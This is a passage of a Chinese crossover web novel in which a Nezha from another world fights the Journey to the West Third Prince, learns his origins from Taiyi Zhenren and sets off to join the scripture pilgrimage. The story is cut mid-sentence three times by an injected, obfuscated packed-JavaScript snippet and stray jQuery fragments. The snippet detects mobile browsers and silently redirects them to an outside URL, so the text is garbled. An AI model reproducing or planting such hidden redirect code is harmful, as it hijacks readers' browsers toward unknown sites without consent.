更诡异的是对方不仅面容跟他长得像,而且手臂上缠着混天绫,手里也攥着杆火尖枪,那项间上戴着的,不是乾坤圈又是什么?
三太子踩着风火轮悬在半空,混天绫在身后猎猎作响。他盯着地面上穿着红色短打的孩童,那孩子与年幼时的自己面容有七分相似,只是眉间并非莲花印,而是多了道赤色魔纹。
“何方妖孽,竟敢幻化本太子法相?”三太子居高临下地问道,乾坤圈在掌心转得嗡嗡响。
哪吒把火尖枪扛在肩上,嗤笑着抹去脸上灰尘:“这话该小爷问你!你这是从哪个臭水沟里钻出来的冒牌货,竟敢冒充小爷?”
三太子眉心莲花印金光大盛:“本座乃天庭册封的三坛海会大神,奉玉帝旨意巡查三界妖魔。你这魔气冲天的孽障,还不速速现出原形!”
三太子本是在云间巡游,骤然感应到下方魔气翻涌,似有妖魔降世,那气息既与九幽戾气相似,又隐约透着与他同源而生的熟悉感,当即按下风火轮前来查探。
西游世界的哪吒三太子,转世途中可没有出过那么多乱七八糟的岔子,本就是正儿八经的灵珠转世,倒也难怪会对同出混元珠的魔珠气息生出感应。
“天庭玉帝算个屁!”哪吒像是听到了什么笑话,枪尖戳了戳焦黑的蛇头,“这畜生吃人时,你们这些神仙老爷在哪个仙宫里睡大觉呢?”
哪吒初来乍到西游世界不久,虽不知天庭是封神大劫后新立的仙庭,但听着这名号也猜得出——这劳什子天庭无非是神仙们照搬人间朝廷搞的衙门。
纵然哪吒再膈应也不得不承认,玉虚宫那帮除妖司虽是行事酷烈,还抓了不少无辜小妖,但好歹把妖患压下去七八成,倒也算桩实打实的功德。
眼前这冒牌货嘴里的天庭倒好,斩妖除魔喊得震天响,结果七绝山二十丈长的食人妖蟒都能逍遥至今!
前些天他在天上时看得真切,这底下好些地方妖气跟炊烟似的往上冒。哪吒倒想问问那玉帝,这天庭斩的是什么妖!除的是什么魔!
三太子被说到痛处,有些尴尬地摸了摸鼻子,他虽顶着三坛海会大神的名号,更是专司降魔的天神,可四大部洲广袤无垠,纵有三头六臂也难镇八方。
天庭只得定下规矩,人烟稠密的城池重兵镇守,纵是妖魔也不敢随意造次,至于那些瘴气弥漫的荒山野岭,纵有妖物占山称王,为祸一方,但只要不闹得太过分,天庭多半是睁只眼闭只眼,就比如这七绝山就是如此——毕竟按下葫芦浮起瓢,这天下哪处山头没几窝精怪?
三太子瞥了眼蛇尸,却也懒得跟这奶娃娃解释,只是冷哼道:“这天地运转自有法度,大妖作乱自有天劫……”
“法度个屁!等什么慢吞吞的天劫劈下来,镇上百姓早就被妖怪吃光了!”哪吒握紧火尖枪,枪尖直指半空中的金甲少年。
他虽不知对方来历,但那股扑面而来的敌意却再明显不过,他却不可能坐以待毙,风火轮在脚下缓缓转动,随时准备迎战。
三太子脸色冷了下去,他本想着这魔物除妖有功,或许还能问出些线索,却不想对方如此嚣张。更让他恼火的是,这魔物不仅长相与自己相似,连说话的语气都如出一辙。
“少废话!”三太子在天庭多年,刚刚还收敛了些脾气,跟哪吒说了会好话,这会怒火攻心,又喝问道,“你为什么要幻化我的模样?”
“你脑子是进水了?”哪吒火尖枪一抖,枪尖冒出三昧真火,“小爷生来就长这样,还用得着幻化?”
他倒是想问问,这突然冒出来的家伙到底什么来头,怎么跟自己长得这么像。但看对方那副兴师问罪的样子,显然是没打算好好说话。
三太子被这话噎住,脸色更加难看。他在天庭当差这些年,还从未遇到过如此狂妄的妖魔。这魔物不仅不把他放在眼里,还敢口吐狂言,拿火尖枪对着他,简直是岂有此理。
“好,很好!”三太子怒极反笑,“既然你敬酒不吃吃罚酒,那就别怪我不客气了!”
混天绫在他身后翻卷如浪,乾坤圈在掌心飞速旋转。他倒要看看,这般不知天高地厚的魔物,究竟有多大本事!
“魔头看枪!”
“假货受死!”
两杆火尖枪的枪尖在半空相撞,迸出刺目火星。哪吒借力翻身,风火轮在山壁上擦出两道焦痕。三太子紧随其后,混天绫如赤龙扑向对方。
“叮!”
火尖枪再次相撞的脆响震得山崖落石滚滚,哪吒甩出混天绫缠住对方脚踝,三太子却也有防备,红绫一抖便挣脱束缚。两条混天绫在空中绞成麻花,扯得两人同时踉跄。
三太子心中暗惊,这魔物不仅长相与自己相似,连法宝的运用都如此娴熟。他原本以为对方只是虚有其表,却不料竟能跟自己斗得旗鼓相当。
“有两下子。”三太子冷笑,火尖枪旋出焰轮,“可惜终究是冒牌货!”
“放屁!”哪吒一枪劈开焰轮,枪尖直取对方胸膛,“小爷的法宝可都是货真价实!”
两杆火尖枪又再度撞在一起,震得两人同时后退。三太子借着反震力跃上山巅,乾坤圈脱手飞出,而哪吒不闪不避,甩出乾坤圈迎击。两个金环在空中相撞,再次爆出刺目金光。
“就这点本事?”见对方奈何不得自己,哪吒嗤笑道,风火轮在空中划出金红光弧。
“这不可能!”三太子盯着对方手中的乾坤圈,眼中闪过一丝难以置信。他记得当年师父将这套法宝交给自己时,曾亲口说过,这几件法宝可是天上地下独一份,那乾坤圈更是元始天尊亲自赏赐,至金至刚,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090559|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇硬无穷。
他原以为对方手中的法宝不过是些一碰就碎的假货,可刚才俩金圈撞出那声巨响,震得他耳朵现在还嗡嗡的——这分明就是真的!
更邪门的是,这魔物打架路子都跟他一个模子刻的。他不由得产生怀疑,难道这世上真的存在第二套如此强大的法宝?还是说,这魔物用了什么邪术,将自己的法宝复制了过去?
三太子深吸一口气,压下心中的震惊,冷声道:“你究竟从何处得来的这些法宝?”
“这话该我问你!”哪吒的火尖枪在手中转了个圈,“小爷向来就有这些法宝,还用得着从别处得?倒是你,偷学小爷的本事,还敢在这大言不惭!”
三太子眉头紧锁,心中疑惑更甚。他隐隐感觉到,眼前这孩子与自己之间似乎有着某种联系,但这种联系究竟是什么,他却一时无法理清。
“你到底是谁?”三太子厉声喝问,心烦意乱之下,他的混天绫再次暴涨,手上力道又加重三分。
“你管我是谁!”哪吒咬牙回敬,红绫翻卷如浪,两条混天绫再次绞在一起,两人各执一端,较起劲来,谁也不肯退让半步。
三太子历经封神大劫,千年修为远胜哪吒,可真正交手时却如深陷泥潭。虽然对方的招式与他仿佛镜中的倒影,闭着眼睛就能躲过去,但自己刚起手时对方就已预判轨迹,也伤不到对方分毫,一时间竟是胜负难分,谁也奈何不了谁。
七绝山上炸开的雷火映红了半边天,山下百姓都缩在房子里瑟瑟发抖。两个时辰前天上还飘着火龙似的红云,这会又传来哐啷哐啷的动静,活像山里的巨人在抡锤砸铁,他们却不知道到底发生了什么。
“都给贫道住手!”
太乙真人驾云落在焦黑的山巅时,哪吒与三太子正扭打作一团,俩人的法宝斗得旗鼓相当,混天绫都互相绞成了麻花结。后来他们索性把火尖枪丢到一旁,用最原始的方法搏斗,像两匹撕咬的狼崽子厮打起来,从东崖一直滚到西涧。
太乙真人瞧着两人灰头土脸的样子,叹了口气,拂尘甩出的青光将两人强行分开,顺便把那脸上的泥灰清扫干净,三太子踉跄着站稳,立即拱手行礼:“弟子拜见师父。”
“装神弄鬼!”哪吒趁机抓起脚边碎石,手腕一抖砸向老道面门,却被太乙真人用拂尘挡下。
“师父来得正好!”三太子指向哪吒问道,“快帮徒儿看看,这魔物究竟是何来历?”
“这个娃娃……”老道眯眼打量哪吒,山羊胡抖了三抖,“怪了,这娃娃身上怎么会有魔珠的气息?”
哪吒瞳孔猛地收缩,指尖无意识地掐入掌心,这个秘密除了自家父母和师父,知道的不过寥寥数人,此刻这素未谋面的老道竟然一语就能道破自己的身世。
哪吒瞪向太乙真人,试图掩盖自己的心虚:“牛鼻子老道,胡说八道什么!”
“魔珠?”三太子眉心微皱,那是他转世投胎之前的事情,他自然不太清楚,“那是什么?”
5. 第 5 章
“我想想该从何说起……当初天地灵气历经千年,孕育出一颗混元珠,其中善恶交织,不辨仙魔。”太乙真人拂尘扫过焦黑山石,碎石在青光中翻涌凝聚,化作浑圆宝珠悬于半空,“师尊为防止这混元珠闯出大祸,便以无上法力将其一分为二,仙气化作灵珠,魔气聚为魔珠——”
他口中的师尊,自然是阐教教主元始天尊,三清之首。随着太乙真人的声音,那颗石珠应声裂成两半,一半湛蓝,一半猩红。
“蓝光便是灵珠,我受师尊所托,将其转世为你。”拂尘卷着蓝珠飘到三太子的面前。
“而那魔珠,便托生成了这孩童?难怪他与我如此相似。”三太子盯着与自己面容相似的魔童,误以为自己找到了答案。
“错了,这魔珠早已被天雷劈得灰飞烟灭。”老道说着碾碎红珠,齑粉随风飘散,“贫道亲眼所见。”
“哼!还在装神弄鬼!”哪吒撇了撇嘴,或许是因为被天雷劈过的缘故,他听见被雷劈就浑身不舒坦。
“啊?”三太子听说魔珠已毁,脑袋一时没转过弯来,他指向哪吒问道,“那这孩子是怎么回事?”
太乙真人也眉头紧锁,他分明记得当年元始天尊引动九霄神雷,将那魔珠劈得连渣都不剩,可这魔珠又怎会在下界化形?
他压下心中疑惑,甩了甩拂尘温声问道:“这位小友,可否告知贫道姓名?”
身为阐教金仙,便是玉帝如来也要礼让三分,太乙真人却对哪吒格外温和——凭他多年带熊孩子的经验,早就看出这孩子吃软不吃硬。
“你管小爷叫啥?”哪吒扛着枪上下打量,“你这老道士,穿得跟个白毛山鸡似的……我倒想问问,你又是谁啊?”
“你这顽童,不得放肆!”三太子眉头一皱就要上前,却被太乙真人扯住袖口。这平日里一向怼天怼地的煞星,跟个炮仗似的,三界里谁都怕擦着碰着,偏对救命恩师乖得像只鹌鹑,“师父,这魔物……”
“莫急莫急。”太乙真人仔细瞧着眼前的哪吒,眼睛眯成缝——这哪吒呲牙瞪眼的模样,活脱脱让他看见了千年前那个揪他胡须的小灵珠子。
这小孩子就得是糯米团子时才招人疼,哪怕犟着脖子顶嘴也显得可爱,太乙真人眯着眼把这哪吒从头到脚扫了三遍,越瞅越对脾气,越看越觉得喜欢,他笑出满脸褶子:“老道在乾元山修行,小友可唤我太乙真人。”
“太乙真人?”哪吒怔了怔,火尖枪垂下三寸。老道身上散发的善意让他想起自家师父,他挠了挠头,“巧了,我那不靠谱的师父也叫这名!”
哪吒这时心中忽然生起一丝明悟,这清瘦老道该不会就是这个世界的师父?倒也难怪他对魔珠的事情了如指掌。
而旁边的那少年,怕不就是灵珠转世的哪吒?怪不得跟自己长得那么像,活脱脱跟照镜子似的。
三太子瞪圆了眼,太乙真人却摸着胡子直点头,他差不多已算到此事的前因后果,这小哪吒八成是从哪个小千世界掉进来的,而且也认了那个世界的自己做师父,只是好奇道:“那个我……咳,那位太乙道友平日里都做些什么?”
“我师父虽然也叫太乙真人,不过是个三百多斤的胖子。”哪吒伸手在肚皮前比划个大圆,“整天抱着酒葫芦,连坐骑都骑不稳!”
而眼前的老道白袍飘飘,身板儿跟竹节似的,往云头一站,倒确实有几分阐教金仙的风范,至少瞧着比他那胖师父要仙风道骨。
三太子忍不住想象那个胖太乙的模样,憋笑憋得混天绫直打颤。太乙真人听了,差点以为自个儿听错了,白眉拧成疙瘩,“你师父就长成这模样?”
“那还能有假不成?”哪吒小手一摊,一副无可奈何的样子,凑合过吧,还能咋滴。
“阿——嚏!”原本世界里的胖太乙猛打了个喷嚏,震得腰间酒葫芦直晃,他揉着红鼻头嘟囔,低头算着星图的坐标,“唉,定是哪吒那个小乖乖在想师父了!”
“想骂你才对吧?”敖丙眼皮都不抬,在旁边幽幽说道。
“罢了罢了。”老道甩甩拂尘,也懒得再追究此事,又再次问道,“我已告知你姓名,不知小友如何称呼?”
他其实早掐算过七八遍,但偏要听这亲口说。
“小爷行不更名坐不改姓——”哪吒拿着火尖枪耍了个枪花,摆了个自以为最酷的姿势,“陈塘关哪吒!”
这亮相架势是他从戏本子里学来的,火尖枪破空的架势要足,混天绫甩尾的弧度要飒。他都计划好了,若是后世百姓感恩戴德要为他立庙供奉,这姿态得拓印到庙墙正中央。
偏偏没人告诉他,那齐刘海丸子头配着龇牙咧嘴的凶相,威风帅气是谈不上,倒像是年画娃娃抡着烧火棍。不过就他这脾气,怕是敖丙在旁边也不敢多嘴。
“陈塘关……”三太子看着他那耍宝的样子就想笑,但听到这刻进骨髓的地名,心头猛的一颤。他方才口口声声冒牌货,这会儿猜到事情原委后,却觉得这孩子格外顺眼,像是血脉里淌着同出一脉的亲近劲儿,“你可曾闹过东海抽过龙筋?”
“闹海?闹什么海?”哪吒皱眉退后半步,“小爷跟敖丙可是最好的朋友,抽龙筋?犯得着吗!”
哪吒的白眼都快翻到后脑勺了,这人到底在疯言疯语什么?这说的都是人话吗?难不成是刚刚在山上撞坏脑袋了?
“原来如此,是这样啊……”三太子松了口气,心中忽然有些释然,看这小哪吒吊儿郎当的样儿,八成没遭过削肉剔骨的罪。正这样想着,他突然回过味来,忽然伸手去够哪吒后颈。
他的指尖刚触到冰凉肌肤,哪吒已炸毛跳开三丈:“你乱摸什么!找死啊!”
“你这身子骨是怎么回事?”三太子蹙眉摩挲着残留凉意的指尖,方才打斗的时候他就觉得有些不对,他这时才醒悟过来,这孩子分明也是莲藕身,“若是你不曾经历那些劫难,怎么会连肉身都保不住?!”
“要你管!”哪吒揉着酸疼的手腕,没好气地呛声,这三太子刚刚打架的时候下手可不轻,他可还记着呢。
三太子看着哪吒气鼓鼓的样儿,估计一时半会也消不了火,干脆解开衣襟,露出下面的莲藕身:“你摸摸看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090560|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我这也是莲藕捏的。”
“你干嘛耍流氓!小爷才不稀罕看!”哪吒嘴上嫌弃,却忍不住转过头去看,那三太子的身躯泛着莹润的光,隐约能瞧见藕丝经络里流转的灵息。
“让贫道仔细瞧瞧……”太乙真人突然伸手戳哪吒的腰眼,惊得他直蹦跶,这师徒俩是怎么回事!
老道摸着那些藕丝连接的关窍,眉头越皱越紧:“确实是莲藕身子,可这手艺……”
他后半句硬生生憋了回去,实在没好意思接着说下去。这关窍接得跟狗啃的似的!老道臊得慌又纳闷:另一个世界的太乙整天在琢磨啥?怎么连最基本的塑身法术都能搞成这样?
“我当年是为了赎罪自毁肉身,你又是为什么?”三太子追问道。
“自毁肉身?”哪吒像看傻子似的瞪他,他为了给敖丙重塑肉身,差点累得半死,竟然还有人主动毁去肉身,“小爷前些日子遭逢天劫,差点儿没魂飞魄散。师父连夜挖了十亩藕塘,拿藕粉给我捏的身子。”
“原来天劫应在此处。”太乙真人恍然大悟,看来这魔珠终究没有逃过此劫。
经常转世投胎的朋友都知道,肉身既毁,魂魄不过暂留世间,若寻不到依托的地方,转瞬便会烟消云散。太乙真人想着时间紧迫,这手艺难免糙了些,也是情有可原,情有可原嘛——他实在不愿意承认另一个世界的自己竟是个不靠谱的惫懒货,只好自己帮自己拼命找补,“那灵珠又到哪里去了?”
“被申公豹偷到东海,转世成了东海三太子敖丙。”哪吒漫不经心地说道。
“灵珠……成了敖丙?”身为灵珠转世的三太子眼角直跳,一时不知该说些什么。
“申公豹?”太乙真人两眼发虚,有些不敢相信自己的耳朵,“灵珠竟落到龙族手里了?”
“陈芝麻烂谷子的事儿了,你俩眼睛瞪得这么大干嘛?”哪吒不明所以地看着他们,浑不把这秘密当回事。
这几句话信息量太大,太乙真人掐指推算,可隔着时空障壁也算不真切,只好叹道:“这不是捅了大娄子嘛。”
太乙真人虽是元始天尊亲传弟子,但若是与修行上千年、天赋异禀的师兄们相比,他要名列金仙却还稍显资历不够,是因护佑灵珠转世、教导哪吒成圣的功劳,才被师尊升任为阐教金仙。可那另一个世界的自己,灵珠被人偷了不说,还拿魔珠顶包……
若是那个世界的师尊和其他师兄知晓,也不知道会是什么表情。老道揪着拂尘穗子直转圈,也不知该气还是该笑。
三太子突然开口:“师父,弟子有一事不明。”
太乙真人拂尘微顿:“但问无妨。”
“若是徒儿没有猜错的话。”三太子目光扫过哪吒,“这孩子当是来自其他小千世界?”
老道颔首:“正是。”
太乙真人早就知晓这世间有其他世界的存在,但从来都只是听说,却不曾亲眼见过。修炼这么多年,他也是头一回亲眼见证。
“那这世间有多少小千世界?”三太子握枪的手紧了紧,“每个世界都有你我存在么?”
6. 第 6 章
哪吒闻言也竖起耳朵,他对这个问题有些好奇,只见太乙真人拂尘扫过地上碎石:“一沙一乾坤,一尘一世界。这世界如天河沙数,轨迹各不相同,至于其中有多少个你我——”
地上碎石突然化作粉末飘散,“便如这尘埃不可尽数。”
“不过时空障壁坚不可摧。”老道话锋一转,“此番能与这孩子相遇,也实属机缘巧合,都是缘分如此。”
哪吒重重叹了口气,这太乙真人与三太子人倒不坏,对他的关心也是真心实意。但若是有的选,他可不想与这两人有什么缘分,就待在原本的世界里就挺好的。
“那小爷还能回去不?”哪吒突然插话,“那边可还有人等着我呢!”
“待师尊出关,或许可送你归去。”太乙真人掐指测算,这小哪吒所处的时段正是封神大劫前期,那阐教大劫确实少他不得,“只是师尊此刻正在三十三天外清修……”
“怎么这边的天尊也在闭关?他是没别的爱好了吗!”哪吒急得团团转,“那还要等多少年?”
哪吒听师父讲过,这元始天尊闭关修炼,动不动就是几十上百年,等那时候回去,他恐怕都能给敖丙烧纸了。
“师祖下次出关,也很近了,就在十年之后。”三太子答道。
“啊?”哪吒张大嘴巴,别说十年,就算十个月他也等不了啊!这哪就近了!
这俩人对时间的感受可谓是天差地别——小哪吒还是个乳臭未干的毛头小子,每一年对他来说都是崭新的。而三太子可是从封神时期爬出来的老古董,自然觉得十年只是弹指一瞬间。
太乙真人看出他内心焦急,于是掐指笑道,“别慌,我算过了,你那边时间走得慢——这儿过一年,你老家才过一天,你大可不必担心。”
哪吒听完心中石头落地,顿时欢快不少,那白胡子老头刚被他揍得鼻青脸肿,少说也得窝在洞府养伤三五天。就算老东西回玉虚宫搬救兵,没十天半个月也凑不齐人马,正好够他在这边潜心修炼。
这边修炼一年,那边才过一天。想着回去后神功大成,揍得那老东西满地找牙的场面,哪吒忍不住咧嘴直乐——这是什么爽文桥段,可比茶馆说书带劲多了!
“得嘞!”哪吒盘腿往半空中一坐,“那小爷就当搁这儿度假了!”
“还有心思度假?先想办法顾好你的小命吧。”太乙真人摇了摇头。
他抬手放出金光,将哪吒从头到脚照得透亮,光影间赫然显现触目惊心的画面——哪吒的莲藕身躯布满蛛网裂痕,丝丝灵气正从藕孔里渗出,“你这身子骨底子没打好,穿越时空障壁又耗了元气,如今被此方天地法则排斥,最多撑不过三年就得散架!”
太乙真人扫了眼三太子玉藕般的身躯,心想要是自己亲手打造的莲花化身,就算穿越时空又哪会这般狼狈。想到这里,他又忍不住埋怨另一个世界的自己,这一天天到底干什么吃的!
“阿嚏!”
胖道士正在啃鸡腿,突然的喷嚏震得案上星宿盘跳起三尺,敖丙刚摆好的二十八宿星图全散了架。他抹了抹鼻头讪笑:“这两天怎么总打喷嚏,莫不是真染了风寒?”
“太乙师伯!您成心添乱吗?”敖丙盯着满地星子,终于绷不住了,他正急着寻哪吒回来,偏遇上太乙真人三番五次打岔。
“怎么可能嘛!你不要乱讲!”胖道士急得额角冒汗,把桌子拍得咚咚响,“我心头焦得火烧火燎的!”
“真的假的?老道士,你可不要危言耸听。”哪吒撇了撇嘴,挥手打散金光,又故意拍了拍胸口,“小爷吃嘛嘛香,身体好得很!”
哪吒嘴上不服,心里却清楚这莲藕身确实有问题——当初胖师父赶工粗制滥造的半成品,稍稍用力就差点裂开,还是靠天元鼎大火猛烤才勉强定型。
他暗中捏了捏发麻的手腕,自打穿越过来,每次催动法力,都像端着漏勺舀水,十成劲道总要漏掉三成,也不知漏哪儿去了。
“还逞强?”太乙真人拂尘敲在他头顶,“这还是靠方才斩杀蟒妖的功德金光替你粘着裂缝呢!”
哪吒低头看去,若是细细观察,倒是能见到一些裂痕正被细碎金芒填补。他这才想起刚才杀妖时确有金光洒落,当时还当是火光晃眼。
他随手拍了拍头发,“就这点金子?够买俩包子吗?”
“那能用莲藕重新塑身吗?”发问的却不是哪吒,而是三太子。
三太子自诞生起便是李家幼子,早就盼着有个弟弟。如今见着这穿越时空而来的小哪吒,虽然顽劣不堪,浑身带刺,但他竟生出几分兄长的感觉,本能地想要护住什么。
“这异界元神,与本界莲藕也很难相容。”那七色宝莲虽是天材地宝,但太乙真人也倒不是舍不得,他捻断三根白须,“即便重塑,也顶多再撑三年。除非……”
“除非什么?”哪吒与三太子异口同声,话音未落又互相对视一眼。
“以功德修金身。”太乙真人拂尘扫过哪吒心口,“唯有用天道功德重塑金身,与你这异界元神契合,才能彻底根除隐患。若是你能修得功德金身,想来能度过此劫。”
“修功德金身?”哪吒重复了一遍,兴致勃勃地说道,“不就是打妖怪攒功德?巧了!小爷早想收拾那群害人精!”
当然,哪吒可不像南极仙翁那般蛮不讲理,他要找的自然是蟒妖这般的邪祟,专挑作恶多端的收拾。
“你当是砍瓜切菜呢?”太乙真人摇了摇头,“这修金身所需功德无数,杀妖才不过救几个人,这点功德连油灯都点不亮,更别提杀业缠身,反而会有损道基……”
三太子盯着哪吒身上那随时会熄灭的微弱金芒,想起他方才斩杀蛇妖救下全镇,才不过换来这点天道馈赠。要照这个速度攒下去,修得功德金身怕是要到地老天荒。
“我斩妖除魔千年,攒下不少功德,留着也没什么用。”三太子忽然说道,“可否转赠于他?”
“你当天道是钱庄吗?”太乙真人笑道,“功德早与神魂烙在一处,如何拆借?”
“小爷才不欠人情!”哪吒扬起下巴说道,他跟这三太子不过萍水相逢,哪有伸手白拿的道理。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090561|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
三太子却没把他的话放在心上,他忽然又想起一事,“若说起功德,师父,我记得,那场机缘该到了吧?”
听他这么一说,太乙真人掐指一算,颔首道:“确实,就在近日了。”
“喂!”哪吒一头雾水,“什么机缘?你们俩神神叨叨的,打什么哑谜呢?”
三太子笑着解释,眼神不自觉带出兄长般的纵容:“灵山要传佛法到东土,需人徒步十万八千里到西天,这取经路近日就要启程。”
“西天?取经?”哪吒听得满头问号,这怎么越说越糊涂了,“干嘛非要徒步,他们庙里缺经书的话,不会自个儿腾云去取?”
“腾云取经哪能显出诚意?”三太子意味深长地说道,“这灵山,要的就是这取经人打着佛教的名号,一路斩妖除魔,诵经传法,让沿途百姓亲眼见证佛光,再让这家家供佛像、村村念佛经。”
“这作乱的妖王,都拴在这取经路上当拦路虎,每斩一个都算救万民于水火。”他又看向哪吒,“走完这十万八千里,可比你单打独斗赚功德快百倍。”
“还有这种事情?”哪吒眼睛亮得能当火把用,“这不比斩妖快多了!”
“这确是近在眼前的捷径。”三太子看向太乙真人,征询他的意见,“师父可知内情?”
“这事儿是天庭和灵山定下的买卖——”太乙真人甩了甩拂尘,对此不予置评,“我倒是没掺和进去。”
西天取经本就是两家势力做的局,作为大名鼎鼎的阐教金仙,他多少知道些内幕消息。
“可听说取经队伍早都定好了?”三太子抓了抓后脑勺,此前玉帝就已经跟他们吩咐过,让他们好好配合,“领头的是金蝉子转世,还有五百年前砸过凌霄殿的齐天大圣,而且先前还有两个仙官被贬下凡,专等着入局。”
“这取经的差事,灵山派了哪位菩萨坐镇?”太乙真人早洞悉徒弟心思——这是要借他阐教金仙的颜面。但为这小哪吒,他豁出点颜面又算得了什么?就当是为另一个世界的自己,弥补一下这孩子吧。
太乙真人先前并不想蹚这浑水,可让灵山诸佛白白分去这人间香火,心底多少有些不顺心。如今瞧着哪吒跃跃欲试的样子,老道忽然捋须轻笑,让这天生反骨的小煞星去给取经路“添把火”,说不定会让天庭和佛门这无聊的一台戏有趣得多。
“是南海观世音菩萨主事。”三太子心里踏实不少,师父既然这样问,想必就是要出面了。
“这就好说了!既是观音尊者主事,倒能腆着老脸讨个人情。”太乙真人拂尘往胳膊肘一搭,要是换成别的菩萨,他还真得掂量掂量。他转头看向正在研究功德金光的哪吒:“小哪吒,敢不敢去西天走一遭?”
“去就去!不就是取个经?”哪吒胸膛一挺,把火尖枪往肩头一扛,“小爷怕过谁?”
虽然压根没明白西天到底在哪,取的又是什么劳什子经,但听说能修功德金身,哪吒就当仁不让。管他西天东天,能攒功德就是好天!
毕竟,敖丙他们还在等着他回去揍翻那臭老头呢!
7. 第 7 章
“这天下啊,分为四大部洲。”太乙真人揪着云絮,跟切西瓜似的分成四瓣儿,往东南西北各弹一撮,“你刚才待的七绝山,正落在西牛贺洲地界。咱们这趟要去的南海嘛——得从南瞻部洲再往南三千里。”
“要说东海——”太乙真人想到什么似的,指了指东边的云絮,“跟南海也就隔着两片浪头。”
这云朵看似慢慢悠悠,实则瞬息千里,眨眼就掠过七八座山头。哪吒盘腿坐在云端,脚丫子悬空晃荡,左探探右望望,手上也没闲着,时不时揪朵云捏成团。
“老道士!”哪吒忽然抬头问道,“这陈塘关怎么找不见了?小爷踩着风火轮转了三圈都不见影子!”
按理来说,那陈塘关就在东海边上,可他绕着东海沿岸飞了半天也没寻见。
“陈塘关?”太乙真人捻着胡须的手顿了顿,当年收三太子为徒的往事忽然涌上心头,“那地界啊……早八百年就没了。”
“没了?!”哪吒急得在云团上直蹦跶,“石头城还能长腿跑了不成?”
“商周过后就荒废成野地啦。”陈塘关本是用来抵御东伯侯,商纣亡后也就失去了存在价值,太乙真人掐指算了算,“你那边还是封神大劫前的话……”
如今是大唐贞观年间,他忽然掰着手指头感叹道:“到这儿得有一千多年喽!”
“嚯!”哪吒被这数字砸得直挠头,“怪不得连块砖头都不剩……”
“那……那他的爹娘兄弟呢?”这话说得含糊,哪吒自己都卡了壳。明明都是“哪吒”,他偏只认自己是正牌哪吒,舌头打结半天,也只憋出个“他”字。
“殷夫人只是肉体凡胎,早入轮回了。”太乙真人卷着拂尘穗子,“李靖则成了托塔天王,至于金吒木吒——一个给佛祖当护法,一个给观世音做徒弟。”
“这不挺好的?”哪吒托着腮帮子畅想,“一家人时不时也能聚一聚。”
哪吒盘算着,若是回去以后,把娘亲救活了,也带她修个长生诀,到时候全家——再带上师父跟敖丙,想去哪儿玩就去哪儿玩!
“贫道那个徒儿啊——”老道摇了摇头,“跟他爹还有俩哥哥,见面就跟爆竹撞上火折子似的!他们可未必想团聚。”
“哈?为啥啊?”哪吒惊讶地张大嘴,“连面都不想见?他是拆了城门还是烧了祠堂?认个错不就好了?”
这小家伙实在想不通,他能想到的最大的错也不过如此,而且顶破天也就是跟爹娘吵急眼了,哪能闹得跟仇人似的?
“当年啊……”太乙真人趁着云头飘得稳当,把三太子闹龙宫、抽龙筋,反被逼着剜骨削肉的事全倒了出来。哪吒听得拳头攥得咯咯响:“那老龙王是瞎了眼?问都不问清楚就喊打喊杀?”
“你也觉着该闹?”太乙真人瞧着哪吒腮帮子都气鼓了。
“龙宫那帮家伙,夜叉见着小孩洗澡就要斧劈,龙宫太子见面就要兴师问罪,三太子要是个软柿子,早被剁成饺子馅了!”哪吒气冲冲地说道,“看他们那模样,平日里指不定怎么祸害附近百姓呢!”
“可不就是现世报!”太乙真人把拂尘穗子拽得极紧,这么多年过去,他护犊子的劲头一点没减——这阐教内外谁不知道这老道最偏心眼!
他眯眼瞅着哪吒气鼓鼓的侧脸,越看越稀罕。虽说是个魔珠托生的孩子,但这股子打抱不平的劲头,就格外对他的胃口。老道捻着胡子暗搓搓琢磨,虽说这孩子是另一个自己教的,但若厚着脸皮蹭个“挂名师父”,倒也不算乱了辈分。
“怪不得他听见敖丙俩字就变脸!”哪吒回想着刚刚三太子的表情,“他爹娘是摆设吗?咋不护着他啊?”
“李靖那怂包,官帽子比他亲儿子都金贵,恨不得他死了清净!”太乙真人摇了摇头,他一直看那李靖不顺眼,“那金吒木吒也是糊涂,千百年间只会劝他跟父亲服软认错——这才闹得父子兄弟跟仇人似的。”
“嘁!”哪吒架着胳膊,难得叹了回气,“这算哪门子亲爹!要是我爹敢这样——”
他突然卡壳了,想起自己爹娘从没让他受过委屈,后面半截竟不知该说些什么。
要搁他家里——别说东海龙王,就算元始天尊亲自来问罪,爹娘保准把他护在身后。想到这三太子被亲爹逼得粉身碎骨,哪吒心里突然像什么硌了一下,先前那点火气早被风吹跑了。
下回见面还是少呛他两句吧。哪吒摸着怀里偷藏的糖山楂暗下决心,大不了分他两颗。
